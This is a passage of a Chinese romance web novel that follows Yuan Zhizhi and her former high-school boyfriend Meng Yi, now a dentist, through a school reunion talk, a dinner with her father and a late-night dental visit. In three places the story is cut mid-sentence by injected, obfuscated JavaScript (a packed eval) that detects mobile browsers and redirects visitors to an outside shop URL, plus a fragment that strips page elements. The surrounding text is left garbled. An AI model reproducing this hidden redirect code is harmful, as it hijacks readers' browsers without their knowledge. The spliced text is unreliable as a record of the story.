元知知站在台后,抿紧了唇,不明白孟懿这是想干什么。 刚刚就在台下悄悄讨论着自己心仪大学的几个孩子又在一片热闹中压低了声音,他们对新鲜人物的新鲜事物兴奋极了:“原来孟学长女朋友也是咱们学校学姐。” “校长他们这回翻车了吧,请回来的优秀毕业生这是一个比一个叛逆啊。” “不知道孟学长当初的女朋友又是个什么样的人,我看他总觉得遥遥隔着一层,一般人恐怕连和他做朋友都难,真好奇是什么人物才能把他给拿下?” “这还不简单,问问不就成了?” 还不待拦这个大胆替好友解惑的女学生就径直冲着台上喊道:“学长?你女朋友是什么样的人啊,她今天也回来母校了吗?” “什么样的人?”孟懿低低的将这个问题在舌尖咀嚼,随后面上的表情趋于了柔和,成熟的魅力中和着让他看起来更加迷人:“我不敢随意评价,一切美好的品质都集中在她身上,我很幸运。” 老刘当初教的六班是最好的理科班,因此他们班每年回来的优秀毕业生不少。 但于他们来说也是第一次听到这些事,一个个克制着自己拼命扮作一个成熟的大人,却又忍不住竖起耳朵探听着孟懿耐心的答话。 瞧着这个当初的校霸,怎么看起来像是还惦念着他们学霸的样子呢? 这都多少年了?应该不至于吧。 “至于后一个问题,”他敛眸,唇角却扯出近乎蛊惑的笑容,让前两排的学生看呆了,“我们已经分手很久了,她或许并不想让其他人知道我们之间的渊源。” 元知知抬手触了触眼角。 刚刚那个女学生兴奋地碰碰好友:“学长这是什么意思?那个学姐也在现场?” “我觉得不是吧,孟学长的意思应该是分手了就不便再说起是谁了。” “说的也是,不过,怎么谈恋爱的尽是好学生啊,恋爱学业双丰收,这可让我等怎么活?” “看看当初谈恋爱的都是些什么人,华清大学的高材生、海河大学的尖子生,原来老刘说的不准早恋都是骗人的。” 这时麦克风里的声音再度响起,设备音质不好但盖不住男人本身嗓音优越:“我相信老刘都告诫过大家这个时候最重要的是学习,而不是恋爱。” “他说的没错。” “我恋爱是因为我有那个实力,如果没有那个实力就不要轻易去触碰红线。” 校领导的面色好看了不少,几个跃跃欲试的学生失望的压下了自己蠢蠢欲动的心,暗叹怎么有人能让上帝既给开了窗又给开了门。 “那学长高中时有做过后悔的事吗?能说出来给学弟学妹们一个警示吗?” “做过的事我从来不后悔。” 即使只能看到侧脸,元知知也一眼就看出来了他在撒谎。 他没有对这群学生说实话。 孟懿好似不经意般微微侧头,却一个错眼也不曾有正好对上了她看过来的目光。 没错,他是在撒谎。 他久久的注视着台侧,一直到台下的众人都察觉到有些不对劲时才晃神般将脸转了回来,微不可查的失态被他很好的遮掩下来。 还有病态的欣喜,为他还是那么了解她,为她依旧能一眼看出他谎言表象下的真实。 孟懿靠近麦克风:“所以,在高三这段最要紧的时光里,不要做让自己后悔的事情。” “后悔,是最没用的东西。” 他垂手而立片刻后,避开阳光的映射从台前离开。 元知知仍然亭亭而立在原地,他避开的阳光洒射在她的身上,纯净的玫红色变得绚丽而热烈,在她的身上迷幻诱人,像一个来自地狱的女妖,举手投足皆是引诱。 “孟懿,你在后悔什么?” 他踩在瓷砖铺就的地上,正欲从台上下来,整个人一顿。 但很快又若无其事的抬起步子,他看向元知知:“你的手涂药了没有?” 元知知怔愣,手腕上冰凉的药膏触感突然有些发烫,她轻声道:“涂了。” “那就好。”此后无话,他们并肩朝台后走去,老刘正恨铁不成钢的迎上来。 看着这两个学生,他先是叹了一口气,接着再叹一口气,右手食指在虚空中点了又点,欲收回似又有些不甘心:“你说说你俩,要读高中那会儿也这么嚣张,看我抓不抓你们就完了!” 孟懿从裤兜里随手摸出一个打火机,这是在学校,他克制住了,把玩着小巧的机身在灵巧的手指间转动:“这不是已经毕业了吗?况且分都分了,老刘你可不能秋后算账啊。” 他接着懒懒补充道:“算账也没用了,除非你让我们复合,到时候你随便来抓我也没意见。” 老刘气得一口气差点没上来,指了他半天骂不出一个字,半晌后气哄哄的掉头就走,连刚刚要说什么都忘了。 “少气他吧,老刘年纪也大了,当初他对你也算上心。” “嗯,我知道。” 他又下意识的想摸裤兜,这才想起来今天干脆连烟都没有带,光带个打火机,连个玩意儿也算不上。 他们曾经的一个同班同学见状凑了上来,一根烟被递到他的眼前:“比不上孟医生平时抽的好烟,将就一下。” 这话其实是谦虚了,大家都是世俗意义上的成功人士,但即使是老同学这种场面话也少不了 25. 第 25 章 他们今天有过一番争吵,情绪都算不得平和,元知知猜测着孟懿是想跟她道歉或是再次划清界限。 也有第三种可能,来自老同学的寒暄客套:“你脚看起来不太舒服,我顺路带你回医院。” 元知知的面容上泛着些礼貌的冷意:“不用了,我还有其他事,你先走吧。” 孟懿不理她,但停在道边的雷克萨斯也没有起步。 元知知松开扶着树干的手,走了两步后蛾眉微蹙,痛苦之色隐隐浮于表面。 这双高跟是章汝舟送的,大概不是标准码。今天第一次穿出来,没想到会不合脚。 她再次停了下来,猜测自己的脚后跟或许磨破皮了。 本低吼着的汽车发动机静了音,车门被甩上。 元知知一抬眉就看见孟懿宽大的肩膀正矮身在眼前,半蹲的动作明明有些滑稽,但他做起来像个拍杂志的男模。 “要么我背你走,要么上车我送你回去。” 她默了默,将碎发拢在耳后,正眼瞧他:“有创口贴吗?给我一张那个就可以了。” 孟懿连头都没回:“没有。” 下课铃还没响起,但已经有上体育课自由活动的学生朝教学楼走来,元知知扯过他的臂膀:“上车。” 随意停在路边稍不注意就容易造成堵塞的汽车终于重新发动,孟懿双手扶着方向盘,目不斜视盯着驾驶座的前方,元知知侧头看向窗外。 熟悉的校园景物在车窗外缓缓倒退,他们又从十年前的青葱岁月回到了现实世界。 “去哪儿?” “什么?” “不是说有其他事?要去哪儿?” 元知知略想了一下,最终还是道:“回医院吧,还能继续处理些底稿。” 她前后说法不一致,但孟懿未置一词。 打了转向灯后从校门口调转了方向,车子行驶在通往华清一院的马路上。 他始终牢牢把握着方向盘,眼睛也观察着道路情况,可气氛奇怪的让人连呼吸都不敢放大了声音。 元知知注意到了主驾驶与副驾驶间的杂物箱里放着一些日用品,最上面的赫然就是一叠创口贴。 唇线紧抿,她挪开了目光。 车载电台开着,主持人说着外地人难听懂的方言,时不时爆发出一阵恼人的滑稽音效,车外川流不息的车辆中还混着行人的嘈杂,元知知却觉得太安静了。 安静得能听见她自己的心跳,规律而有力。 偏偏这一路上不知怎么回事,每一个路口都能遇上红灯,汽车短暂停留的片刻更让她觉得无所适从。 好在即使在路口停车等待时孟懿也不曾搭过话或是给她一个目光,像一个真正的专职司机,注意力从不会放在他的乘客身上。 “你刚刚问我在后悔什么,我也想问你,有后悔的事吗?” 可他还没回答她,倒先提起问题来了。 元知知手指揸开又并拢,并不执着于他的回答,也不吝啬分享自己的答案:“像你说过的那样,做过的事,从不后悔。” 孟懿下意识低头看她的手指,正虚虚搁在膝上,像根根精美的艺术品,从容而坦荡的美丽。 她没有撒谎,孟懿重又抬起眼睛。 这辆搭载着两个心思各异的人的汽车披着残霞缓缓驶入华清一院,元知知突然凝视着后视镜叫停了他:“你等等,或者就在这里放我下来。” 她身边的男人早在她注意力突然被车厢外界吸引时就打了转向灯,此刻已经靠边停下了。 元知知推开车门不太确定的看着不远处的背影,瘦高个子,中年男人标配POLO衫,还有提在手上的黑色文件包。 直到那人抬手似乎是看时间她才勉强捕捉到一个侧影:“爸!你怎么来了?” 本一只手搭在方向盘上一只手随意撩在车窗外的孟懿听见元知知这么一喊浑身顿时一僵,他收回了手微微俯身朝敞开的车门外看去。 元教授张开双臂迎接着女儿扑进他的怀中:“爸你怎么来了也不给我说一声?妈来了吗?” “你妈她和小姐妹计划出去旅游,哪有空陪你爸过来。” “前段时间受邀来这边参加学术论坛,这次出行决定的临时,也是怕计划变动让你失望才不让你妈跟你说,况且爸也想着能给你个惊喜。” “那爸爸你要在这边待几天啊?” “半个月左右吧,就是过两天主会场忙起来恐怕就不能每天过来这边看你了。” 元知知撒着娇道:“那我去看你也行。” 元教授经岁月风沙已经有些半垂的眼皮掩不住他温润柔软的眸子,看着女儿时始终像注视一颗举世无双的明珠,珍爱异常。 “你走得开吗?你妈总抱怨你选了个太忙的工作,我看也是,总没有个休息时间。” “怎么没有了?半天还是能——” “元叔叔。” 温和的声音插进父女二人的交谈中,元教授用陌生又好奇的目光看着从车旁走来的人。 “你好,你是?” “我是孟懿,是知知的高中同学,曾经拜读过您发表在IJCV的两篇论文,没想到今日能在这见到您。” 元教授搞了一辈子研究,骨子里还带着老一辈读书人的质朴与特有的古怪脾气,闻言大为欣喜,当即连来人是谁都不在意了,拍着大腿要同他畅聊自己的研究。 最后是元知知拦了下来。 她看着微笑立在一旁的孟懿,狠狠瞪了他一眼。 元教授一巴掌拍在她的手上,没有用力:“瞪什么瞪?刚刚就想说那车上的人像你,人家送你回来你也不知道让爸爸好好感谢下别人,失了礼数。” 他来之前已经在附近定好了餐厅,盛情邀请孟懿一同用餐。 孟懿也无心打扰父女俩的团聚,几番推辞,但架不住元教授实在热情,再推辞下去反而是他失了礼数。 他无奈顶着元知知杀人的目光,打开了后座车门让元教授满意的坐了进去。 元教授选的餐厅是一家中式餐厅,他是传统中国胃,对中餐倒也是有些琢磨的。一落座他就起身去召来服务员嘱咐菜品的特殊处理,元知知趁着他离开间隙一脚踹在了刚坐下的孟懿小腿上。 孟懿取筷子的手怔怔地停了几秒,呼吸同时停滞一瞬。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元知知无奈安抚着:“也就是早上应付应付,正餐都在医院食堂吃了,放心吧爸。” 元教授到底是父亲,不像张女士一样有着母亲天生的敏锐与柔情,听到她这么解释也就不再纠结轻轻放过了。 她接过他的碗准备盛汤时一转头正对上了孟懿的目光,一触即收,他自然的接过了她手上的碗为元教授打散了油盛了碗汤递过去。 用面包代替主食这事在高中生里不少见。 时间紧、任务重,一边啃面包一边复习也就应付过去了一餐。 元知知那时候就有这毛病,后来她犯了急性胃炎从教室里被医院接走时把他吓得大脑空白,从那以后不管她怎么撒娇他也一定会监督着她好好吃饭。 这是他面对她时唯一不会妥协心软的事情。 也是那一次他异常的焦急才让班上的同学看出他们特别的关系。 没想到工作了,她还是没能改掉这些烂习惯。 反而变本加厉。 像察觉不到疼痛般,竹木制成的筷子在他的手指上印出两条细长的红痕,一直到放松了力道也迟迟未消。 这些和他又有什么关系? 他没有任何立场生气。 想起那天夜里醉醺醺的靠在她身上的男人,她男朋友自然会关心照顾好自己恋人的身体。 孟懿冷笑了一声,舌尖用力顶了顶自己右侧的前磨牙。 满口形状漂亮、结实健康的牙齿仿佛一夜之间被驻空了,像每一颗真正的坏牙齿一样用细细密密的酸痛攻击着他的痛觉神经。 26. 第 26 章 元知知发现孟懿好像在生气。 莫名其妙,又扰人心神。 她的气性也上来了,在盘子里夹菜的力道都重了不少。 孟懿很快察觉到了身边人的动作,一边礼貌的回应元知知父亲的提问,一边默默停下了筷子,刻意避开了她喜欢的菜。 浑身散发的低气压不知不觉被压下,散的一干二净。 元教授正忙着续上刚才在车上时的话题:"你刚才说你对图像识别有些了解......" “是,大一时有些兴趣看过几篇论文......” 事实与之相反,他对自动化和人工智能这一领域没有丝毫兴趣,只是......只是那时太无助了。 关于她的一切都随着时间流逝渐渐从他的身边被抹去痕迹,他拼尽全力想找寻到一点有关她的东西,都是徒劳。 到了最后她父亲的论文竟是唯一公开可查的与她有关的东西。 他熬了数个通宵,拼命阅读着元教授的科研成果,在自己毫不了解的领域拼死挣扎想要多靠近她一些。 但关于人工智能的论文里只有冷冰冰的数据与不通感情的机械。 他永远也无法找到自己渴望的。 元知知出去接电话了,元教授看着女儿的背影,重又看回自己面前这个年轻人。 “现在在哪里高就呢?” “高就不敢,就在华清一院,口腔科医生。” 元教授点点头,看着似是满意:“我们家知知生的漂亮又聪明,唯一不好的基因就是我遗传给她的牙齿了,总是出些小毛病。她妈妈那个时候也总开玩笑说后悔当初没有学医当个牙医。” 孟懿不太清楚他突然说这个是什么意思,谨慎的没有答话。 好在说话的人也没准备听他回答什么,自顾自道:“你叫孟懿?一直觉得你的名字很耳熟,刚才才想起来我其实听说过你,也算是认识你。” 孟懿举起茶杯碰在对面中年男人举起的杯盏上,发出清脆的咯噔声:“高中时我也常听知知提起您,她有一个很好的父亲。” 元教授认识他并不奇怪,他能猜到就连张女士也熟悉他的名字。 元知知高中时不敢向家里坦诚恋爱的事情,但热恋中的女孩儿哪里忍得住一个字不提自己的男朋友。 在元家父母的眼里他或许是她嘴里沉默寡言的同桌,也可能是她身边桀骜不驯的叛逆学生...... 孟懿设想了种种可能的说辞。 但元教授茫然思索片刻后道:“高中?还在上学时她提起过的同学是很多,我听过就忘了。高中那会儿她可能也有说过你吧,但我已经没什么印象了。” 斟茶的手一歪,茶水从杯沿处溢出些许。 孟懿抽过纸巾擦拭,不敢细想这话背后的含义,他艰难开口:“那她是什么时候,提起过我的名字?” 元教授观察着他的表情,年轻人正云淡风轻的冲着他微笑,这个问题好似只是为了接下他的话不至让场面冷下来才提出的。 看不出他有几分在意。 他有些不确定了,难道他猜错了他们的关系? 刚才明明听见孟懿的声音满布着细碎的抖动,现在这幅情态好像又是他听错了。 男人搁下筷子,孟懿的目光紧紧追随着他的动作。 “高中毕业的那个暑假吧,偷偷在房间里哭了好几次,我跟她妈妈偷听的时候总能听到你的名字。” 孟懿脑子空洞洞的,他两次张开了嘴,没能发出任何音节。 俄顷才找回了他的声音,但钻进自己耳朵里时有些陌生:“她那个时候......哭了?” “是啊,哭了一个暑假,我们问她又不肯说,大一开学之后才好些了,本来我都快把这事儿忘了。” 要不是这个名叫“孟懿”的青年突然活生生出现在面前,元教授的确快要记不清这段往事。 “是吗。” 不是问句,陈述的语气低落着飘散在了空气中。 明明是在说着她当年哭了许久的过去,但孟懿的语气却显得他像是那个马上要哭出来的人。 元教授试图观察他的表情,但常年闷在实验室的人实在不善于揣测他人情绪的微妙变化。 他试探着问道:“你跟知知现在是——?” “曾经的同学关系。” “这样啊。”元教授的语气有些失望,但体贴的没有戳破他。 场面陷入沉默,孟懿终究还是没能忍住,带着些难以言说的阴暗想法试探着:“知知现在好像也有男朋友,是华清市人。” “我见过一次,感情似乎不错。” “男朋友?”元教授惊诧万分,“你看错了吧?我们知知哪里有男朋友?这不可能的。” 他的心狂跳起来,几欲跃出胸膛:“没有男朋友?那可能......真是我看错了。” “前段时间她妈妈还在到处给她安排相亲,要是有男朋友知知不会瞒着我们。” “看来是我误会了。” 在对面人看不见的角度,孟懿的黑眸中翻涌着滔天巨浪,掩藏着的是从未有过的奕奕神采。 他再次咬住了口腔内侧的软肉,大脑稍微冷静下来,淡淡的铁锈味也在嘴里弥漫开来。 只是那个男人到底是谁? - “好几天中午没见到元老师了,也不知道是什么情况。” 审计项目组好像突然忙了起来,不但是元知知,这些时日里就连其他几个与医生们相熟的审计师也没能碰上面。 蔡医生就连打听她的情况都不知道该找谁。 “元知知?”坐在桌侧的孟懿突然拖着腔调,慢条斯理道:“她家里人来华清市出差,这几天她都陪着家人吃饭没来过食堂。” “你怎么知道?” 一女医生推开突然向自己面前倾斜了半个身子的娃娃脸男人:“孟医生和元老师不是高中同学吗?他知道的多点也不奇怪吧。” 蔡医生坐正了身体,勉强笑道:“是,也是,我怎么忘了这一茬儿。” 孟懿悠然扬眉,没有反驳。 而小蔡医生匆匆结束用餐后就心神不宁的回科室了,不知为什么,最近孟医生带给他的威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897335|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胁感越来越强烈,他看着手机里元知知的微信头像,有些莫名的不安。 在他走后刚才的女医生寒暄着向他搭话,满眼好奇:“孟医生最近的状态好像很不错啊,是遇到了什么好事?” 他下巴稍稍扬起,姿态有些闲散:“是,天大的好事。” - 这次的“中西部人工智能大会”论坛在刚开始的头两天都是年轻教师的分享,活动都分散在分会场。 第五天开始陆续在主会场进行的演讲与圆桌会议就是重头戏了,被邀请前来分享的也都是这个领域里各个细分方向下的大牛。 元教授四天进行了三场分享会,中途还接到华清大学的邀请,以客座教授的身份开了两场讲座。 眼看着父亲忙的脚不沾地,难得单休日元知知只能再次推掉了林鹤之的邀约,跟着元教授到了主会场帮他的研究生一起分担些力所能及的杂事。 元教授在台上发言时,元知知就和另一个女人等在旁侧。 那女人是元教授的博士研究生,从元知知本科时就入了她父亲的门下,到了今年听说终于要毕业了。 她也算看着老师的女儿一路从学生走来,对他们一家都称得上了解:“师母这次给老师布置了任务来的,你小心点。” “任务?” “你想想师母布置的还能是什么任务?” 台上的发言已经结束,眼看着元教授已经走了下来,她身侧的博士姐姐赶忙噤声。 她回味着她的话,想起张女士这几年来的工作重心,心里渐渐涌起不妙的预感。 这种不妙随着元教授领着她在场馆内四处游走时落到了实处。 一个德高望重的老教授不去找自己的老伙伴们吵吵架交流交流感情,怎么尽往长相端正的男性青年教师跟前凑。 元知知后退一步就想找机会开溜,但被元教授眼疾手快的拦住了。 “爸!你怎么也配合着张女士张罗这些,我真不需要。” “你妈给我下了死命令,你还能在华清躲上一两个月,再有一周我可就回去了,你不配合我就交不了差了。” 她无奈道:“就给妈说我认识了不少青年才俊,没有一个看对眼的不就行了吗?” 元教授眼睛笑成了一道弯,同情的看着宝贝女儿:“你妈还有后手,糊弄不过去的。” “什么后手?该不会——” “你林叔叔的儿子,就你妈看好的那小伙子,这次也来了。” 张女士的原话是“既然她没空回来相亲,那就充分发挥主观能动性,灵活变动相亲地点。” 这个亲,她是不相也得相了。 元教授下午有短暂的空闲,硬生生陪着元知知到了约定地点等待对方。 咖啡店玻璃门被推开时会应时的响起风铃声,伴着风声叮铃入耳。 “元叔叔。” 看见喜欢的后辈出现,元知知看着自己爸爸眼睛都亮了起来:“小林来了啊!” 她放下手上的咖啡杯,抬睫向来人看去。 与林鹤之四目相对的那一刻两个人齐刷刷愣了。 27. 第 27 章 林鹤之作为新一代学者代表在论坛分会场担当着主持工作,这一次来参加这个中西部论坛的机会是他主动争取来的。 一方面是想和同行们多多交流学习,另一方面则是想避开父母安排的相亲。 适婚青年男女大概都有这样的烦恼,他抱着能逃一时算一时的心态买了直达华清的高铁票。 没想到母亲一个电话过来,就连这个陌生的城市里也能给他安排上合适的相亲对象。 他几乎是怀着伤敌一千自损八百的决心赴约,直到在元教授与元知知的对面坐下。 沉默持续在空气里发酵,林鹤之终于理清了思路:“元叔叔,元小姐是您的——?” 元教授还不及开口,元知知先道:“女儿,所以你就是......林叔叔的儿子?” 林教授的儿子,也就是张女士一直在电话中给她强调她十分看好的那小伙子。 两家父母是多年同事加好友的关系,两个小孩幼时也曾经做过一段时间对方的玩伴。 过家家他当爸爸她当妈妈,捉迷藏他抱着她躲在衣柜里面...... 但林鹤之初中毕业后就出了国,他们分开时年龄还小,如今再见都已三十上下,自然无法再认出多年来只存在于自己父母口中的那个童年朋友。 两个为了逃避相亲躲到另一个城市的青年男女,最终还是在新的城市见面了。 以新的身份和新的关系,奇妙的缘分有时候就是爱这样彰显着自己的存在感。 元教授自他来后几次三番想提起林鹤之正在进行的实验,但想起妻子耳提面命只得强自忍耐,将谈话的空间留给两个年轻人。 他看着这一双神色莫名的人,终于忍不住,犹疑着出声道:“你们这是......之前就认识?” 林鹤之与元知知相视一眼,忽然都笑了出来。 “倒也算是认识。” 她想起初初和他互通姓名时,他曾经说过除了元知知外还认识一个拥有这样小众姓氏的人,她微微侧目。 林鹤之福至心灵,很爽快的为她解了惑:“是,我当时说的就是元教授。” 原来他们很早的时候就险些接近过彼此的另一重身份。 咖啡店小坐后元教授在张女士的远程指导下先行告辞离开,他们并肩走在华灯初上的喧嚣城市里。 大大小小的窗户里一蓬蓬暖融融的橙光悬浮在半空,手机里的导航正用机械的语音指导着他们的前路。 “我猜你这餐厅也是刚刚才预订的吧?” 林鹤之很坦然,丝毫不打算遮掩自己其实连应付都觉得麻烦的本心,如果相亲对象不是元知知,他或许连喝一杯咖啡的时间都不会浪费:“是,本来没打算吃晚饭,临时找一家不需要提前预约的餐厅的确不容易。” 并肩走在他身侧的女人却丝毫不恼,他们的想法不谋而合,这让她有些轻松:“看来你也很排斥长辈们安排的相亲?” 将她松了口气的模样尽收眼底,男人淡淡道:“避之不及。” 导航语音提示已经到达目的地,门前的领班迎了上来,元知知先一步抬脚跟上。 林鹤之注视着她的背影,一向温和的眸子里浮现出短暂的矛盾与犹豫,最终强行按捺住脑中的思绪跟上快要消失在拐角处的身影。 - 自从那天抽空去了元教授讲座论坛回到医院后,元知知就一连连轴转了许多天,熬的大夜也是一个接一个,作息再度混乱了个彻底。 不知道是不是和华清这地界儿犯冲,她睡眠刚好了没两天,就在这个夜里被疼醒了。 牙疼。 她轻轻咬了咬后槽牙,光是上下一触就疼的她太阳穴神经突突的跳。 扶着床单坐直了身体,掌心按压处布料被挤揉出深深的褶皱。 不知过去多久,她感到稍稍缓解再度躺下时惊痛再度袭来,这一次半张脸的神经都被牵动,疼的她面部肌肉发木。 其实从昨天白天后方大牙处就有隐隐的疼痛感了,但手上的事情一忙起来不管是头晕还是牙疼都要往后放一放。 这一放元知知自然给忘了个干净,谁知道会在今夜突如其来的爆发。 明天还有个所里的视频会议需要参加,她下意识拍了一下墙上的电灯开关。 开关弹动,但灯没亮,情急之下又忘了宿舍区夜里停电的事情了。 医生宿舍的小冰箱自然也无法正常工作,这个时候连个稍微能镇痛的冰袋也找不到。 她捂紧了自己的左脸颊,疼痛发散让人丧失思考能力,她没法判断到底是哪一颗牙在作怪。 是蛀牙还是智齿长出来了? 元知知翻出手机备忘录看了看白天的安排,直让人眼前一黑。 华清一院的审计流程接近两个月熬下来终于快要走完,本来该让人松一口气,谁知事务所所在的海河市传来消息:年初由她经手的两个项目都被省上财.政.厅抽中了检查。 上午预定进行的视频会议就是与此次抽查相关,而陆昱和他们开完会后就要立马赶回华清市。 华清一院的项目需要留至少一个负责人,待她们交接了工作后,要不就是她要不就是章汝舟,总有一个倒霉蛋也要连夜赶回海河市应付检查。 想到所里的质检老师复核后给出的问题清单和眼看着根本补不完的底稿,元知知只觉得牙齿更疼了。 可以预想明天一过,一直到今年前半年彻底结束他们都不会再有一个好觉,她深深吸了口气,冷气卷入口腔,惊得牙齿更加敏感的拨动着神经。 犹豫片刻元知知还是点开了小蔡医生的微信。 巧合的过了分,这几天他总是有意无意和她在院区碰见,晚餐后在医院绿化区碰见时蔡医生曾经提过一句今晚他在住院部值夜班。 结果这无意的一句话还真派上用场了。 她抱着试一试的心态发了消息过去,没想到立马就弹出了回复。 蔡医生看起来是刚刚被患者的紧急按铃吵醒,人还醒着,正在病房里。 收到元知知的消息后立即热心的表示可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音被截断,后半截言语被尽数吞进喉咙中,她如梦初醒。 “我只是......有些担忧你明天上午的病人。” “放心,我已经是一个合格的医生了。” 刚得知孟懿的理想是成为一名救死扶伤的医生时,元知知讶异道:“可你一向不是扮演那种把人送进医院的罪魁祸首这个角色吗?” 他冷冷白她一眼,本心高气傲不屑于向他人多解释一句的少年鬼使神差开了口:“我会成为一名合格的医生。” 经年已过,他完成了他曾经立过的志向。 元知知在这一刻突然变成了十七岁的那个女学生,想要开口要一个答案。 但夜风唤醒了她偃旗息鼓的牙齿,疼痛将她拉回现实。 这个答案她早就已经要到过了,辨不清真假但也没了什么意义,略失血色的嘴唇翕动着到底是什么话也没说出来。 28. 第 28 章 元知知顿足片刻,转身欲走。 还没走出两步远就听到身后轻盈的落地声。 孟懿单手擎着窗框纵身一跃,借着墙壁的力翻身落到了她刚刚站立处。 元知知转眼看去时他灰色短袖宽松的衣褶正轻轻飘荡,微风灌入了他的领口,两只结实修长的手臂因轻微的充血起伏着流畅而漂亮的肌肉形状。 每一步的靠近都散发着成熟男人的荷尔蒙气息,她本能的退后半步,孟懿径直从她身边走过。 垂在身侧的手被突如其来的外力牵引,他拉过了她的手腕,力道不重但不容挣脱。 元知知脚步凌乱的跟了两步,“去哪儿?” 身前的人嘴角噙起一分恶劣的笑意,凑近她时炙热的呼吸若有若无的喷洒在颈窝处,像要燎原的火星子。 “带你去开.房,去吗?” 她愕然。 他坏笑着,和高中时的神态如出一辙:“怎么?害怕?” 潋滟的琥珀瞳望进孟懿的眼里,里面装满了她自己。 元知知看到那双黑眸里倒映着的女人似笑非笑,又像撩拨,修长的手指轻轻搭在男人劲瘦的腰侧,手下的肌肉瞬间紧绷起来。 隔着短袖衫轻薄的面料,孟懿觉得自己快被点燃。 他听见她说:“去啊,谁回去拿身份证?” 元知知神态是她自知的明艳妩媚,藏在胸腔内的心脏却正快速搏动着,被紧张的情绪操控,她牢牢盯着近在咫尺的孟懿。 从远处看他们就像一对紧紧相贴的恋人,垂颈相拥,淡不可闻的烟味夹杂在线香熏染后的草木香里,与女人的呼吸交织。 她另一只手也已经被他放开,热烈的气氛驱使下她攥紧了他胸前的布料,既像迎合又似推拒。 两张唇欲要碰上,熟悉又自然,他们曾这样亲吻过对方无数次,但谁也没有再向前一步。 两人眼里甚至一丝情动也无,均是冷冷的注视着对方,像在进行一场没有硝烟的战争。 僵持片刻,孟懿率先抽身离开,高大的背影散发着阴郁的低气压,如冰霜风雪冷凝着空间里的沉静。 元知知像是看不懂眼色般丝毫不受影响,反而扬声娇笑道:“怎么?不去酒店开个房间了?” 走在前面步步凝冰的男人闻言停顿,随即昂首阔步走出更远,身上的郁气愈发可怖,怒火快要凝成实质。 顺着他说也要生气,男人可真够奇怪的。她无声的笑了笑,松开了垂落衣袖上捏紧的手。 许久不见她跟上,兀自生气的人顿脚,带着冰碴子的声音响起,僵硬生涩:“还不跟上,看来你牙齿不疼了。” 元知知这才明白他的目的,通向门诊大楼的路就在眼前展开,他又是什么时候发现她正在牙疼的。 她没有动作,夜色里他的脸看不分明,只能感受到那双黑沉沉的眸子落在她身上时极强的存在:“不疼了?” 元知知嘶了一声,感受着牙神经活跃的跳动,“蔡医生已经答应帮我看看了,他现在就在住院部等我。” 孟懿下颌线猛地绷紧,喉结滚动一下,他咬着牙道:“蔡医生?” 一字一顿,风雨欲来。 元知知拢了拢敞开的外套:“嗯,他今天值夜班。” 孟懿猝然转身,大步行至她的跟前,猛然拉近的距离让她看清楚了他有些阴沉的脸色。 “他手上有几个手术病人,后半夜还要坐急诊,就不要麻烦他了。” 出乎意料的是孟懿的语气仍然沉稳平静,和面上隐忍的愠色大相径庭,仿佛变了个人,几乎是瞬间就说服了元知知。 他们一同走向门诊大楼,一前一后稍稍错开些许,地上两个黑丛丛的影子倒是肩并着肩的模样。 “啪。” 夜里显得有些空洞的口腔科诊室门被推开,顶上的几盏灯一齐被按开,冰冷的白炽灯瞬间用灯光填满了整个空间。 不知按了哪个按钮,3号诊床被孟懿调整到适宜的高度,他转身取过落地衣架上的白大褂披在身上,骨节分明的手指从上至下一颗一颗扣着扣子。 元知知眼睫微颤,不知为何觉得有些口干。 小女孩时期总会对一些制服心存幻想,成为大人看清很多事物本质后对制服无缘由的崇拜已经如烟云过往而散了。 白大褂下灰色的T恤被严丝合缝遮挡住,紧致精瘦的肌肉也消失在视线内,但......原来制服的魅力并非消失。 诊台处有洗手池,孟懿慢条斯理擦干了消过毒的手,戴上手套后再一一备上器械,“躺下,我看看。” 这话耳熟,两个月前他也是这么对她说的。 口镜牵拉住口角,三用枪探入口腔内对准元知知左侧大牙一一喷吹冷风,她当即疼的眉头紧皱,闷哼出声。 孟懿的声音从口罩下传出来时有些失真,下意识的安抚夹杂着属于一个医生的温柔和耐心:“好了乖乖,没事了,一点点疼,忍忍,患牙就是这两颗牙中的一颗,马上就能知道是哪颗牙在作怪。” 患牙稍稍靠后,元知知的头抵在他的胸膛处,春夏的衣服挡不住什么,他的凝滞格外明显。 给小朋友看牙的用语习惯让两个人都有些尴尬,但好在谁也没有再刻意提起。 “这颗牙可能是颗深龋,要拍片才能确定还能不能保住牙髓。” 好在孟懿手上有CT室的钥匙,当场拍了当场就下了诊断。 “坏的很深太靠近神经了,我可以先给你补上,至于后面这颗牙的牙髓能不能保住,还需要观察。” 元知知歪身坐在豆沙红的诊床上,脚点着地面,艰涩道:“牙髓保住的希望大吗?” 孟懿说了实话:“据我判断,希望不是很大,至于后续到底要不要开髓做根管,还是要看运气。” “是吗?那不如直接开髓,不用保了,也省的再痛一次。” 她的声音低低的,显得他正常说话的音量也变得格外大:“作为医生,我建议你先保,保住活髓的牙和死髓牙,差别很大。” 她抬眸:“可是我不想痛两次。” “只是因为一点不确定就连尝试都不愿意了么?万一,能保住呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 